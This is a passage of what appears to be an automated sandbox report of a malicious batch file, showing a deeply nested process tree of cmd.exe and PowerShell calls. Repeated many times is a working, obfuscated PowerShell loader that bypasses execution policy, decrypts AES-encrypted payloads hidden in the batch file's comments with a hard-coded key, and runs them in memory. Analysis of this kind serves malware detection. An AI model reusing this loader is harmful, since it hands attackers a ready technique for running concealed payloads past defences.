        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        106⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2064
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        104⤵
        
        PID:3160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        105⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        103⤵
        
        PID:3000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        104⤵
        
        PID:4780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        102⤵
        
        PID:4428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        103⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        101⤵
        
        PID:4468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        102⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        100⤵
        
        PID:2528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        101⤵
        
        PID:1444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        99⤵
        
        PID:2100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        100⤵
        
        PID:1336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        98⤵
        
        PID:620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        99⤵
        
        PID:1872
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        97⤵
        
        PID:2544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        98⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4168
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        96⤵
        
        PID:1352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        97⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        95⤵
        
        PID:2788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        96⤵
        Blocklisted process makes network request
        
        PID:2424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        94⤵
        
        PID:552
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        95⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        93⤵
        
        PID:3060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
